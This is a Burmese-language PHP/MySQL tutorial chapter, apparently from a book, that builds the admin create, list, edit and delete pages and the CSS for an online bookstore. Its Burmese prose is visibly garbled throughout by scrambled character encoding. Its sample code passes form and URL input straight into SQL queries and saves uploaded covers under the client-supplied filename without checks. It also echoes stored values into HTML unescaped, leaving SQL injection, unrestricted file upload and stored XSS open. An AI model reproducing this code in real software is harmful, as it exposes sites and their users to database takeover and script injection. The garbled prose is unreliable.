Admin Interface  တည်ိ ဆာက်ြဖေို့အတက်ွြ ပထမဦးဆံုးအိနနဲ့ လိုအပတ်ဲ့  Table  ိတတွည်ိ ဆာက်ြိပးရေမာှပဖေစ်ပါ
တယ်။ တည် ိဆာက်ြရေမယ့်  Table  ိတကွြိတာ့  books, orders, order_items  တို့ပပဲဖေစ်ပါတယ်။  ပုံ  (၇-ဍ)  မာှ
ိလလ့ာအကြည့်ပါ။

ပုံ (၇-ဍ) Table Relationship for Online Book Store

ိအာက်ြမာှိပးထားတဲ့ အချက်ြအလက်ြများအတိုငး် books အမညန်ဲ ့Table တစ်ခ ုတည်ိ ဆာက်ြိပးပါ။
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books Table
id - INT - Auto Increment / Primary Key
title - VARCHAR (255)
author - VARCHAR (255)
summary - TEXT
price - FLOAT
category_id - INT
cover  - VARCHAR (255)
created_date - DATETIME
modified_date - DATETIME

books Table  ဟာ  စာအုပ်ိ တနွပဲတသ်က်ြတဲ့  အချက်ြအလက်ြိတ ွ သိမး်ဆညး်မယ့်  Table  တစ်ခပုဖေစ်ပါတယ်။
category_id ဆုိတဲ့  Column  တစ်ခပုါဝငတ်ာကုိြသတပိပုပါ။  အ့ဲဒီ  Column  မာှ  စာအုပ်အမျို းအစားအတက်ွြ
အညွှနး်  id ကုိြ သိမး်ဆညး်မာှပဖေစ်ပါတယ်။ စာအုပ်အမျို းအစားနဲပ့တသ်က်ြတဲ့ အချက်ြအလက်ြိတကုိွြိတာ့  books
Table ထမဲာှ တွဲမထည့်ပဲ ကြျွန်ိ တာတ်ို့ တည်ိ ဆာက်ြခဲ့ပပးီပဖေစ်တဲ့ categories Table ထဲမာှ သီးပခားခွဲပခားထည့်
သွငး်ထားမာှပဖေစ်ပါတယ်။

ဥပမာ - categories Table ထမဲာှ Record ိတကွြ အခလုိုရေှိိ နတယ်ဆုိအကြပါစုိ့ - 

+----+--------------+--------+--------------+---------------+
| id | name         | remark | created_date | modified_date |
+----+--------------+--------+--------------+---------------+
|  1 | Technology   |   …    |      …       |       …       |
|  2 | Internet     |   …    |      …       |       …       |
|  3 | Programming  |   …    |      …       |       …       |
+----+--------------+--------+--------------+---------------+

Record တစ်ခကုိုြ books Table ထဲမာှထည့်သွင်းတဲ့အခါ စာအုပအ်မျို းအစားဟာ Internet ပဖေစ်ိအကြာငး် သတမ်တှ်
ိပးဖေို့အတက်ွြ  category_id  Column  မာှ  2  ကုိြထည့်ိ ပးရေမာှပဖေစ်ပါတယ်။  တနဖ်ေိုး  2  နဲ့ပတသ်က်ြတဲ့  အမျို း
အစား  အမည၊်  မတှခ်ျက်ြစတဲ့အချက်ြ  အလက်ြိတကုိွြ  သိရေှိလိုတဲ့အခါ  သိမး်ဆည်းထားတဲ့  id ကုိြအသံုးပပုပပီး
categories Table  ကြိန ရေယူလိုက်ြရေင်  အမျို းအစားအမညဟ်ာ  Internet  ပဖေစ်ိအကြာငး်နဲ  တစ်ကွြ  အပခား
အချက်ြအလက်ြိတကုိွြလညး် ပပနလ်ညရ်ေရေှိမာှပဖေစ်ပါတယ်။ ဒနီညး်နဲ့  စာအုပအ်မျို းအစားိတအွတက်ွြ အချက်ြအလက်ြ
ိတကုိွြ categories Table ထမဲာှ ခွဲပခားသိမး်ဆည်းပပးီ books Table မာှိတာ့ သက်ြဆိငုရ်ော အမျို းအစား id
ကုိြသာ အညွှနး်အပဖေစ်  သိမး်ဆည်း  ိပးရေမာှပါ။  ဒါိအကြာင့်  ပုံ  (၇-ဍ)  မာှလညး်  ဒီ  categories Table  ရေဲ့  id
Column  နဲ့  books  Table  ရေဲ့  category_id Column  တို့ကုိြ  ချတိဆ်က်ြိဖောပ်ပိပးထားတာပဖေစ်ပါတယ်။  ဒီ
ဆက်ြစပမ်ှုကုိြ  One-To-Many Relationship လို့ ိခါ်အကြပါတယ်။ Internet ဆုိတဲ့ Category တစ်ခကုိုြချတိ် ဆက်ြ
ညွှနး်ဆိထုားတဲ့စာအုပ်ိ တ ွအများ ကကီြး ရေှိနိုငတ်ဲ့အတက်ွြပဖေစ်ပါတယ်။

books Table  အတက်ွြ  cover အမညန်ဲ့  Column  တစ်ခပုါဝင် တာကုိြလညး်သတပိပုပါ။  cover Column  မာှ
စာအုပ်  မျက်ြနာှဖေုံးပုံအမညကုိ်ြ  သိမး်ဆညမ်ာှပဖေစ်ပပးီ  တစ်ကြယ့်မျက်ြနာှဖေုံးပုံကုိြိတာ့  Database  ထမဲာှမသိမး်ပဲ  File
အိနနဲ့ သိမး်ဆညး် ထားမာှပဖေစ်ပါတယ်။
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မတ်ှချကြ် ။ ။ Table ိတွတည်ိ ဆာကြပ်ပးီတ့ဲအခါ  ပုံ  (၇-ဍ)  မာှိဖောပ်ပထားတ့ဲ  Interface ကြို  phpMyAdmin ရေဲ့  Main Menu
ထဲကြ Design View ကြိုနှိပပ်ခငး်အားပဖေင့်ရေရေှိနိုငပ်ါတယ။် 

ဆက်ြလက်ြပပးီ orders Table ကုိြလညး် ိအာက်ြမာှိပးထားတဲ့ အချက်ြအလက်ြများအတိုငး် တည်ိ ဆာက်ြိပးပါ။ 

orders Table
id - INT - Auto Increment / Primary Key
name - VARCHAR (255)
email - VARCHAR (255)
phone - VARCHAR (255)
address - TEXT
status - INT (1)
created_date - DATETIME
modified_date - DATETIME

order Table  ဟာ စာအုပမ်ာှယူသူကုိြ ဆက်ြသွယ်ရေမယ့် အချက်ြအလက်ြများ သိမး်ဆညး်မယ့်  Table  တစ်ခပုဖေစ်ပါ
တယ်။ိနာက်ြဆံုး  Table  တစ်ခအုိနနဲ့  order_items Table  ကုိြ  ိပးထားတဲ့အချက်ြများအတိုငး်  ဆက်ြလက်ြ
တည်ိ ဆာက်ြ ိပးပါ။ 

order_items Table
id - INT - Auto Increment / Primary Key
book_id - INT
order_id - INT
qty - INT

order_items Table  ဟာ orders Table  နဲ့ ဆက်ြစပ်ိ နပါတယ်။ စာအုပဝ်ယ်ယူဖေို့အတက်ွြ အမာှစာမာှ ပါဝင်
လာမယ့် မာှယူလိုတဲ့ စာအုပ်ိ တအွများကကီြး ပါဝငန်ိုငပ်ါတယ်။ မာှယူလိုတဲ့ စာအုပမ်ျားနဲပ့တသ်က်ြတဲ့ အချက်ြအလက်ြ
ိတကုိွြ  ဆက်ြသွယ်ရေမယ့်အချက်ြအလက်ြများနဲ့  ိရောထားပခငး်ထက်ြ  သီးပခားခွဲပခားထားမသှာ  လက်ြိတွ့ိရေးသားတဲ့
အခါ ပိုအဆင် ိပပိစမာှပဖေစ်လို့ သီးပခား Table တစ်ခနုဲ့ခွဲပခားသိမး်ဆညး်ဖေို့ ရေညရ်ေယ်ွထားပခငး်ပဖေစ်ပါတယ်။  ပုံ (၇-ဍ)
မာှ ပပနလ်ည် ိလ့လာရေင် order_ items Table ရေဲ့  book_id  Column ကြ books Table ရေဲ့  id  Column
ကုိြ ညွှနး်ထား ပပးီ order_id Column ကြိတာ့ orders Table ရေဲ့  id Column ကုိြညွှနး်ထားတာကုိြိတွ့ရေမာှ
ပါ။  ထည့်သွငး်ိန အကြ created_date နဲ့  modified_date တို့ကုိြိတာ့  order_items Table  မာှ
ထည့်သွငး်မထားပါဘးူ။ orders Table မာှပါဝငပ်ပးီပဖေစ် လို့ ထပမ်လိုိ တာတ့ဲ့အတက်ွြ မထည့်သွငး်ိတာပ့ခငး်ပဖေစ်ပါ
တယ်။

လိုအပတ်ဲ့  Table  ိတတွည်ိ ဆာက်ြပပးီပပဆီိုရေင်  စာအုပ်ိ တကုိွြ  CRUD  လုပင်နး်များနဲစီ့မနံိုငတ်ဲ့  Interface  ကုိြ
ဆက်ြလက်ြ တည်ိ ဆာက်ြအကြပါမယ်။ store Folder ထမဲာှ File နဲ့ Folder တစ်ချို ့ကုိြပဖေည့်စွက်ြိပးပါ။
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store/
|-- admin/
|   |-- confs/
|   |   |-- config.php
|   |-- covers/ *
|   |-- cat-list.php
|   |-- cat-new.php
|   |-- cat-add.php
|   |-- cat-edit.php
|   |-- cat-update.php
|   |-- cat-del.php
|   |-- index.php
|   |-- book-list.php *
|   |-- book-new.php *
|   |-- book-add.php *
|   |-- book-edit.php *
|   |-- book-update.php *
|   |-- book-del.php *
|-- index.php

ပဖေည့်စွက်ြထည့်သွငး်ရေမယ့ ်File နဲ့ Folder ိတကုိွြ ိနာက်ြမာှ Star ပပိပးထားပါတယ်။ ပမငသ်ာိအာင ်ထည့ိ် ပးထား
တာပါ။  File  နဲ့  Folder  အမည်ိ တမွာှ  Star  ိတထွည့်ိ ပးဖေို့မဟတုပ်ါဘးူ။  covers အမညန်ဲ့  Folder  တစ်ခု
ပဖေည့်စွက်ြထည့်သွငး်ထားပပးီ ကြျန် File ိတကွြိတာ့ books Table အတက်ွြ CRUD လုပ်ိ ဆာငခ်ျက်ြိတ ွိရေးသား
ဖေို့လိုအပတ်ဲ့  File  ိတပွဖေစ်ပါတယ်။  categories Table  အတက်ွြ ိရေးသားခဲ့တဲ့  Code  ိတနွဲ့ အိတာမ်ျားများ
ဆငတ်မူာှပဖေစ်ပါတယ်။ 

ပထမဦးဆံုး book-new.php မာှ HTML အပပည့်အစံုထညသွ်ငး်ိပးပါ။ ပပးီရေင် <body> အတငွး်မာှ ိပးထားတဲ့
Form ကုိြ ကူြးယူထည့်သွငး်ိပးပါ။ ဒီ  Form မာှ ထးူပခားချက်ြနစ်ှခရုေှိပါတယ်။ တစ်ခကုြိတာ့ စာအုပမ်ျက်ြနာှဖေုံးပုံကုိြ
Upload ပပုလပုလ်ိုတဲ့အတက်ွြ <form> Element  မာှ  enctype Attribute သတမ်တှ်ိ ပးထားပခငး်ပဖေစ်ပါတယ်။
ိနာက်ြတစ်ခကုြိတာ၊့ အသံုးပပုသူကြ Category ကုိြ အလယ်ွတစ်ကူြိရေးွ ချယ်နိုင်ိ အာင်  Select Box နဲ့ိ ပးထားပါ
တယ်။  Select Box အတက်ွြ <option> ိတရွေရေှိဖေို့ အတက်ွြ categories Table ထဲကြ အချက်ြအလက်ြိတကုိွြ
ရေယူပပီး၊  Category id  ကုိြ  <option> ရေဲ့  value  အပဖေစ်သတမ်တှထ်ားပပးီ  Category  name ကုိြိတာ့  Content
အိနနဲ့သတမ်တှ်ိ ပးထားပါတယ်။  ဒါိအကြာင့်  ိဖောပ်ပတဲ့အခါ  စာအုပအ်မျို းအစားိတကုိွြ  ိရေးွလို့ရေတဲ့  Select  Box
အိနနဲ့ ိဖောပ်ပိပးမာှပါ။

<h1>New Book</h1>
<form action="book-add.php" method="post" enctype="multipart/form-data">
  <label for="title">Book Title</label>
  <input type="text" name="title" id="title">

  <label for="author">Author</label>
  <input type="text" name="author" id="author">

  <label for="summary">Summary</label>
  <textarea name="summary" id="summary"></textarea>
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  <label for="price">Price</label>
  <input type="text" name="price" id="price">

  <label for="categories">Category</label>
  <select name="category_id" id="categories">
    <option value="0">-- Choose --</option>
    
    <?php
      include("confs/config.php");
      $result = mysqli_query($conn, "SELECT id, name FROM categories");
      while($row = mysqli_fetch_assoc($result)):
    ?>
    <option value="<?php echo $row['id'] ?>">
      <?php echo $row['name'] ?>
    </option>
    <?php endwhile; ?>
  </select>

  <label for="cover">Cover</label>
  <input type="file" name="cover" id="cover">

  <br><br>
  <input type="submit" value="Add Book">
  <a href="book-list.php" class="back">Back</a>
</form>

အကြည့်ရေတာအဆင်ိ ပပိစဖေို့အတက်ွြ CSS တစ်ချို ့ကုိြ <style> အဖေငွ့်အပတိန်ဲထ့ည့်သွငး်ိရေးသားိပးပါ။

form label {
  display: block;
  margin-top: 8px;
}

Form action မာှ book-add.php လိုိ့ ပးထားပါတယ်။ book-add.php မာှ books Table ထကုိဲြ Record
ထည့်သွငး်တဲ့ လပု်ိ ဆာငခ်ျက်ြိရေးသားိရေးရေမာှပါ။ ိပးထားတဲ့  Code  ကုိြကူြးယူထည့်သွငး်ိပးပါ။  Form ကြိပးပို့
လာတဲ့ထမဲာှ မျက်ြနာှဖေုံးပုံအတက်ွြ  Image File  ပါတွဲဖေက်ြပါဝငလ်ာနိုငတ်ဲ့အတက်ွြ  File Upload  ကုိြပါ ိဆာငရ်ေက်ွြ
ထားတာကုိြသတပိပုပါ။  မျက်ြနာှဖေုံးပုံ  File  ိတကုိွြ  covers Folder  ထဲမာှသိမး်ဆညး်ထားလိုတဲ့အတက်ွြ
move_uploaded_file() ကုိြသံုးပပးီ ိပပာငး်ိရေွှသိမး်ိပးထားပါတယ်။  books Table  ရေဲ့  cover Column
မာှိတာ့ ကြျွန်ိ တာတ်ို့ ကကိြုတငစ်ဉး်စားထားတဲ့အတိုငး်  File အမညကုိ်ြထည့်သွငး်ိပးထားပါတယ်။ လပု်ိ ဆာငခ်ျက်ြ
အားလုံးအပပးီမာှ book-list.php ကုိြ Redirect လပုထ်ားပါတယ။် 
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<?php
  include("confs/config.php");

  $title = $_POST['title'];
  $author = $_POST['author'];
  $summary = $_POST['summary'];
  $price = $_POST['price'];
  $category_id = $_POST['category_id'];
  $cover = $_FILES['cover']['name'];
  $tmp = $_FILES['cover']['tmp_name'];

  if($cover) {
    move_uploaded_file($tmp, "covers/$cover");
  }
  
  $sql = "INSERT INTO books (
    title, author, summary, price, category_id, 
    cover, created_date, modified_date
  ) VALUES (
    '$title', '$author', '$summary', '$price',
    '$category_id', '$cover', now(), now()
  )";

  mysqli_query($conn, $sql);

  header("location: book-list.php");
?>

book-list.php မာှိတာ ့စာအုပ ်စာရေငး်ကိြုိ ဖောပ်ပိပးရေမာှပါ။ ဒါိအကြာင့် HTML အပပည့်အစံု ထည့်သွင်းိပးပါ။
ပပးီရေင် <body> အတငွး်မာှိပးထားတဲ့ Code ကုိြ ကူြးယူထည့်သွငး်ိပးပါဦး။

အချက်ြအလက်ြိတရွေယူတဲ့  SELECT Query  မာှ  ထူးပခားချက်ြရေှိပါလမိ့်မယ်။  books Table  ထမဲာှ  သက်ြဆိုငရ်ော
စာအုပရ်ေဲ့  Category အမညကုိ်ြသိမး်ဆညး်မထားပါဘးူ။ Category ID ကုိြသာ သိမ်းဆညး်ထားပါတယ်။ ိဖောပ်ပမယ့်
စာအုပစ်ာရေငး် မာှ အ့ဲဒီ  ID ကုိြပပဲပမယဆုိ်ရေင် အသံုးပပုသူကြနားလညသိ်ရေှိနိုငမ်ာှမဟတုပ်ါဘူး။  ID အစား သူနဲ့ကုိြကြ်
ညတီဲ့  Category  အမညကုိ်ြ  categories  Table  ထဲကြိနရေယူပပီးိဖောပ်ပိပးမှ  အဆင်ိ ပပမာှပါ။  ပုံမနှ်ဆုိရေင်  နစ်ှခါ
အလပုလ်ပုရ်ေမယ့် သိဘာရေှိပါတယ်။ books Table ထကဲြ အချက်ြအလက်ြိတကုိွြတစ်ကကိြမရ်ေယူ၊ ပပးီိတာမ့ှ books
Table ကြိနရေရေှိ လာတဲ့  category_id ကုိြ အသံုးပပုပပးီ  Category အမညကုိ်ြ categories Table ထဲကြိန
ိနာက်ြတစ်ကကိြမရ်ေယူပခငး်အားပဖေင့် နစ်ှကကိြမရ်ေယူအလပုလ်ပု် ရေမယ့်သိဘာပဖေစ်ပါတယ်။ ဒလီိုနစ်ှကကိြမလ်ပုဖ်ေိုမ့လိုိ အာင်
books Table ကြ အချက်ြအလက်ြိတ ွနဲ့ categories Table ကြ အချက်ြအလက်ြိတကုိွြလိုအပသ်လို ချတိဆ်က်ြ
ရေယူိပးိအာင် SELECT Query မာှတစ်ခါတညး် ထည့်သွငး် ိရေးသားမာှ ပဖေစ်ပါတယ်။ 
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<h1>Book List</h1>
<?php
  include("confs/config.php");
  
  $result = mysqli_query($conn, "
    SELECT books.*, categories.name
    FROM books LEFT JOIN categories
    ON books.category_id = categories.id
    ORDER BY books.created_date DESC
  ");
?>
<ul class="books">

  <?php while($row = mysqli_fetch_assoc($result)): ?>
    <li>
      <img src="covers/<?php echo $row['cover'] ?>" 
             alt="" align="right" height="140">

      <b><?php echo $row['title'] ?></b>
      <i>by <?php echo $row['author'] ?></i>
      <small>(in <?php echo $row['name'] ?>)</small>
      <span>$<?php echo $row['price'] ?></span>
      <div><?php echo $row['summary'] ?></div>

      [<a href="book-del.php?id=<?php echo $row['id'] ?>" class="del">del</a>]
      [<a href="book-edit.php?id=<?php echo $row['id'] ?>">edit</a>]
    </li>
  <?php endwhile; ?>

</ul>

<a href="book-new.php" class="new">New Book</a>

နမနူာမာှိရေးသားထားတဲ့ SELECT Query ကုိြ အခလုိုအဓပိ္ပါယ်ဖေငွ့်ဆုိနိုငပ်ါတယ်။

SELECT books.*, categories.name - books Table ကြ Column အားလုံးနဲ့ categories Table
ကြ name Column  တို့ကုိြရေယူိပးပါ။ 

FROM books LEFT JOIN categories - books Table နဲ့ categories Table တို့ကုိြ Table တစ်ခု
တညး်က့ဲြသုိ ့တွဲဆက်ြိဖောပ်ပိပးပါ။ 

ON books.category_id = categories.id -  books Table  ကြ  category_id Column  နဲ့
categories Table ကြ id Column တို့ကုိြက်ြညတီဲ့  Record ရေဲ့   name Column ကုိြတွဲဖေက်ြိပးရေမာှပါ။ 

ဒလီိုသတမ်တှလ်ိုက်ြတဲ့အတက်ွြ ပပနလ်ညရ်ေရေှိမာှကြိတာ့  books Table  ကြ  Column  အားလုံးရေဲ့ိနာက်ြမာှကြပပ်ပးီ
သက်ြဆိငုရ်ော Record ရေဲ့  category_id နဲ့ ကုိြက်ြညတီဲ့  Category အမညကုိ်ြ Table တစ်ခတုညး်က့ဲြသုိ့ တဲွဖေက်ြ
ရေရေှိိ စမာှ ပဖေစ်ပါတယ်။ ရေရေှိမယ့်ပုံစံနမနူာကြဒလီိုပါ - 
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+----+-------+--------+---------+-------+-------------+---+---------------+++------+
| id | title | author | summary | price | category_id | … | modified_date |+| name |
+----+-------+--------+---------+-------+-------------+---+---------------+++------+
|  1 | Book1 |   …    |    …    |   …   | 2           | … |      …        |+| Tech |
|  2 | Book2 |   …    |    …    |   …   | 5           | … |      …        |+| Web  |
|  3 | Book3 |   …    |    …    |   …   | 2           | … |      …        |+| Tech |
+----+-------+--------+---------+-------+-------------+---+---------------+++------+

ိနာက်ြထပထ်းူပခားချက်ြကြိတာ့ Record ိတကုိွြ <li> Element နဲ့ ိဖောပ်ပိစတဲ့ိ နရောမာှ  cover Column မာှ
ရေှိိ န တဲ့တနဖ်ေိုးကုိြ  <img> Element  ရေဲ့  src မာှ ထည့်သွငး်ိပးထားပခငး်ပဖေစ်ပါတယ်။ ဒါိအကြာင့်  cover  File
Name  ကုိြ  အသံုးပပုပပးီပုံအိနနဲ့  ိဖောပ်ပိပးမာှ  ပဖေစ်ပါတယ်။  ပပးီိတာမ့ှ  title,  author,  summary,
price, name (Category Name) တို့ကုိြ မတညူတီဲ့ Element တစ်ခစီုနဲ့ိ ဖောပ်ပိစပါတယ်။ 

တစ်လက်ြစတညး် Edit, Delete ပပုလပုန်ိုငမ်ယ့် Link တစ်ခစီုကုိြလဲ တဲွဖေက်ြိဖောပ်ပထားိစပါတယ်။ ခုိ န Browser
URL  Bar  မာှ  http://localhost/store/admin/book-new.php ကုိြ  သွားိစမယ်ဆုိရေင်  စာအုပအ်သစ်တစ်အုပ်
ထည့်သွငး်နိုငတ်ဲ့  Form  ကုိြိတွ့ရေမာှ  ပဖေစ်ပါတယ်။ အ့ဲဒီ  Form  ကုိြသံုးပပးီစာအုပတ်စ်ချို ့  ထည့်သွငး်ိပးပါ။  ပပးီရေင်
Browser URL မာှ  http://localhost/store/admin/book-list.php လ့ုိထည့်သွင်းအကြည့်ရေင်  ပုံ  (၇-ဎ) မာှပပထား
သလို ရေလဒကုိ်ြရေရေှိ ိနိစမာှပဖေစ်ပါတယ်။

ပုံ (၇-ဎ) Online Book Store - Book List

စာအုပစ်ာရေငး်နဲအ့တူ ပယ်ဖေျက်ြပခငး်၊  ပပငဆ်ငပ်ခင်းတို့ပပုလပုန်ိုငတ်ဲ့  del,  edit  တို့ပါဝငလ်ာိပမယ့် တစ်ကြယအ်လပု်
လပုဖ်ေို့အတက်ွြလိုအပတ်ဲ့  Code  ိတကုိွြ ဆက်ြလက်ြိရေးသားိပးရေဦးမာှပါ။  book-del.php မာှ  အခလုိုိ ရေးသား
ိပးပါ။

http://localhost/%20store/admin/book-list.php
http://localhost/store/admin/book-new.php
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<?php
  include("confs/config.php");

  $id = $_GET['id'];
  $sql = "DELETE FROM books WHERE id = $id";
  mysqli_query($conn, $sql);
  header("location: book-list.php");
?>

ဒီိ နရောမာှိတာ့  ထးူပခားချက်ြတစ်စံုတစ်ရောမရေှိပါဘးူ။  Request  နဲ့အတတူွဲဖေက်ြပါဝငလ်ာတဲ့  id ကုိြအသံုးချပပးီ
books Table ထဲကြသက်ြဆုိငရ်ော Record ကုိြပယ်ဖေျက်ြဖေို့  DELETE Query တစ်ခကုိုြ ိပးပိုလ့ိုက်ြပခငး်ပဖေစ်ပါတယ်။
ဆက်ြလက်ြပပးီ  book-edit.php မာှ  HTML အပပည့်အစံုထည့်သွငး်ိပးပါ။ ပပးီရေင်  <body> အတငွး်မာှ အခလုို
ိရေးသားိပးပါ။

ပပးီခဲ့တဲ့ Edit Form တစ်ခကုြအတိုငး်ပဲ id ကုိြ Hidden Input တစ်ခနုဲ့ ထည့်သွငး်ိပးထားပါတယ်။ စာအုပ်အသစ်
ထည့်တဲ့  Form  မာှလိုပဲ  Category  စာရေငး်ိရေးွလို့ရေတဲ့  Select  Box  တစ်ခပုါဝငပ်ါတယ်။  ထူးပခားချက်ြအိနနဲ့
လက်ြရေှိ  Edit  လုပ်ိ နတဲ့  Record ရေဲ့  category_id  နဲ့  Select Box မာှရိက်ုြထတုထ်ားတဲ့  categories ID
တညူရီေင်  selected Attribute  ကုိြရိုက်ြထတု်ိ ပးဖေို့  ထည့်သွငး်ိရေးသားထားပခငး်ပဖေစ်ပါတယ်။  မျက်ြနာှဖေုံးပုံကုိြ
လညး် <img> Element တစ်ခနုဲ့ Image အပဖေစ်ိဖောပ်ပိပးထားပါိသးတယ်။ 

<?php
  include("confs/config.php");

  $id = $_GET['id'];
  $result = mysqli_query($conn, "SELECT * FROM books WHERE id = $id");
  $row = mysqli_fetch_assoc($result);
?>

<h1>Edit Book</h1>

<form action="book-update.php" method="post" enctype="multipart/form-data">
  <input type="hidden" name="id" value="<?php echo $row['id'] ?>">

  <label for="title">Book Title</label>
  <input type="text" name="title" id="title" 

value="<?php echo $row['title'] ?>">

  <label for="author">Author</label>
  <input type="text" name="author" id="author" 

value="<?php echo $row['author'] ?>">

  <label for="sum">Summary</label>
  <textarea name="summary" id="sum"><?php echo $row['summary'] ?></textarea>

  <label for="price">Price</label>
  <input type="text" name="price" id="price" 

value="<?php echo $row['price'] ?>">
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  <label for="categories">Category</label>
  <select name="category_id" id="categories">
    <option value="0">-- Choose --</option>
    <?php
      $categories = mysqli_query($conn, "SELECT id, name FROM categories");
      while($cat = mysqli_fetch_assoc($categories)):
    ?>
    <option value="<?php echo $cat['id'] ?>"
          <?php if($cat['id'] == $row['category_id']) echo "selected" ?> >
      <?php echo $cat['name'] ?>
    </option>
    <?php endwhile; ?>
  </select>

  <br><br>
  <img src="covers/<?php echo $row['cover'] ?>" alt="" height="150">
  <label for="cover">Change Cover</label>
  <input type="file" name="cover" id="cover">
  <br><br>
  <input type="submit" value="Update Book">
  <a href="book-list.php">Back</a>
</form>

Form action မာှ book-update.php ကုိြညွှနး်ထားလို့ book-update.php မာှ အခလုိုိ ရေးသားပါ။

<?php
  include("confs/config.php");

  $id = $_POST['id'];
  $title = $_POST['title'];
  $author = $_POST['author'];
  $summary = $_POST['summary'];
  $price = $_POST['price'];
  $category_id = $_POST['category_id'];
  
  $cover = $_FILES['cover']['name'];
  $tmp = $_FILES['cover']['tmp_name'];

  if($cover) {
    move_uploaded_file($tmp, "covers/$cover");
    $sql = "UPDATE books SET title='$title', author='$author',
      summary='$summary', price='$price', category_id='$category_id',
      cover='$cover', modified_date=now() WHERE id = $id";
  } else {
    $sql = "UPDATE books SET title='$title', author='$author',
      summary='$summary', price='$price', category_id='$category_id',
      modified_date=now() WHERE id = $id";
  }

  mysqli_query($conn, $sql);
  header("location: book-list.php");
?>
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Edit Form ကြ ိပးပိုလ့ာတဲ့ အချက်ြအလက်ြိတကုိွြအသံုးပပုပပးီ  UPDATE Query  တစ်ခကုိုြ ိပးပို့လိုက်ြပခင်းပဖေစ်ပါ
တယ်။  ထးူပခားချက်ြကြိတာ့  Request  နဲ့အတူ  မျက်ြနာှဖေုံးပုံအတက်ွြ  File  ပါဝငလ်ာရေင်  File  Upload  တွဲဖေက်ြ
ိဆာငရ်ေက်ွြိပးပပးီ၊ မပါလာရေင်ိ တာ့ မလပု်ိ ပးဖေို့ စစ်ိဆးိရေးသားထားပါတယ်။ အလားတပူဲ  File  ပါဝငလ်ာမသှာ
cover Column  ကုိြပါ  Update  လပုပ်ပးီ မပါလာရေင်  Update  လပုတ်ဲ့အထမဲာှ  cover Column  ကုိြချနထ်ားခဲ့ဖေို့
စစ်ိဆး ိရေးသားိပးထား ပါတယ်။ 

အခုဆုိရေင်  books Table  အတက်ွြ  CRUD  လပု်ိ ဆာငခ်ျက်ြိတ ွ ပပည့်စံုပပမီို့  စာအုပ်အသစ်များထည့်သွင်းပခငး်၊
ပပငဆ်ငပ်ခင်းနဲ့ ပယ်ဖေျက်ြပခင်းတို့ကုိြ လိုသလိုိ ဆာငရ်ေက်ွြနိုင်ိ နပပပီဖေစ်ပါတယ်။ စမး်သပအ်ကြည့်နိုငပ်ါပပ။ီ ိနာက်ြတစ်ဆင့်
အိနနဲ့  CSS Style  ိတ ွိရေးသားဖေို့နဲ့  လိုအပတ်ဲ့  အပခားလပု်ိ ဆာငခ်ျက်ြိတ ွ ပဖေည့်စွက်ြဖေို့   File ိတ ွဆက်ြလက်ြ
ထည့်သွငး်ိပးပါဦး။

store/
|-- admin/
|   |-- confs/
|   |   |-- config.php
|   |   |-- auth.php *
|   |-- covers/
|   |-- css/ *
|   |   |-- style.css *
|   |-- cat-list.php
|   |-- cat-new.php
|   |-- cat-add.php
|   |-- cat-edit.php
|   |-- cat-update.php
|   |-- cat-del.php
|   |-- index.php
|   |-- book-list.php
|   |-- book-new.php
|   |-- book-add.php
|   |-- book-edit.php
|   |-- book-update.php
|   |-- book-del.php
|   |-- login.php *
|   |-- logout.php *
|   |-- orders.php *
|   |-- order-status.php *
|-- index.php

confs Folder ထဲမာှ auth.php အမညန်ဲ့  File တစ်ခတုိုးထားပါတယ်။ ပပးီိတာ့  css အမညန်ဲ့  Folder တစ်ခု
ထည့်သွငး်ပပးီ  style.css အမညန်ဲ့  File တစ်ခကုိုြ css Folder ထဲမာှ တည်ိ ဆာက်ြိပးထားပါတယ်။ ဒါ့အပပင်
login.php,  logout.php,  orders.php နဲ့  order-status.php တို့ကုိြ  လည်းတိုးထားပါိသး
တယ်။ လိုအပတ်ဲ့  File  နဲ့  Folder  ိတထွည့်သွငး်ပပးီရေင်  style.css မာှ ိပးထားတဲ့  CSS Style  ိတကုိွြကူြးယူ
ထည့်သွငး်ိပးပါ။
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html {
  background: #95A5A6;
}

body {
  font-family: Arial, Helvetica, sans-serif;
  width: 900px;
  background: #fff;
  border: 4px solid #2C3E50;
  margin: 20px auto;
}

h1 {
  padding: 10px;
  font-size: 21px;
  background: #2C3E50;
  margin: 0;
  color: #fff;
}

ul.list {
  list-style: none;
  margin: 20px;
  padding: 0;
}

ul.list li {
  overflow: hidden;
  border-bottom: 1px solid #ddd;
  padding-bottom: 10px;
  margin-bottom: 20px;
}

ul.list b {
  display: block;
  font-size: 18px;
  margin-bottom: 5px;
  color: #2980B9;
}

ul.list i, ul.list small {
  color: #888;
  font-size: 12px;
  margin-right: 10px;
}

ul.list span {
  color: #8E44AD;
}

ul.list div {
  margin: 5px 0;
  font-size: 13px;
  line-height: 1.5em;
  color: #555;
}
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ul.list img {
  margin-left: 20px;
}
ul.list a {
  color: #2980B9;
}

ul.list a.del {
  color: #D35400;
}

a.new {
  display: block;
  padding: 8px 0;
  text-align: center;
  width: 160px;
  margin: 10px;
  color: #fff;
  background: #1ABC9C;
  border: 1px solid #ccc;
  text-decoration: none;
}

form {
  margin: 20px;
}

form label {
  display: block;
  margin-top: 10px;
  color: #555;
}

input[type=text],
input[type=password],
textarea,
select {
  font-family: Arial, Helvetica, sans-serif;
  border: 1px solid #ddd;
  padding: 6px;
  width: 300px;
  background: #fff;
}

textarea {
  height: 100px;
}

input[type=submit] {
  padding: 10px 24px;
  margin-right: 10px;
}
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book-list.php,  book-new.php,  book-edit.php,  cat-list.php,  cat-new.php,
cat-edit.php တို့ရေဲ့  <head> အတငွး်မာှ <link> Element ကုိြသံုးပပးီ အ့ဲဒီ CSS File ကုိြချတိဆ်က်ြိပးပါ။
CSS ချတိဆ်က်ြတဲ့ <link> Element ိရေးသားပုံိ မ့ိ နမာှစုိးလို့ ိဖောပ်ပိပးလိုက်ြပါတယ။်

<link rel="stylesheet" href="css/style.css">

ဒလီို CSS Style ိတထွည့်သွငး်ိပးလိုက်ြမယ်ဆုိရေင် ကြျွန်ိ တာတ်ို့တည်ိ ဆာက်ြလက်ြစ Interface ဟာလညး် ပုံ (၇-
ဏ) မာှ ိဖောပ်ပထားသလို အနညး်ငယ်ပိုပပးီ သပရ်ေပသွ်ားိစမာှပဖေစ်ပါတယ်။

ပုံ (၇-ဏ) Book List with CSS Style

လက်ြစနဲ့  book-list.php, book-new.php, book-edit.php, cat-list.php, cat-new.
php, cat-edit.php တို့မာှ  Menu  ိလးတစ်ခပုဖေည့်စွက်ြိပးပါ။  ဒီိ တာမ့ှ  တစ်ခခုလုပုခ်ျငတ်ိုငး်  URL  မာှ
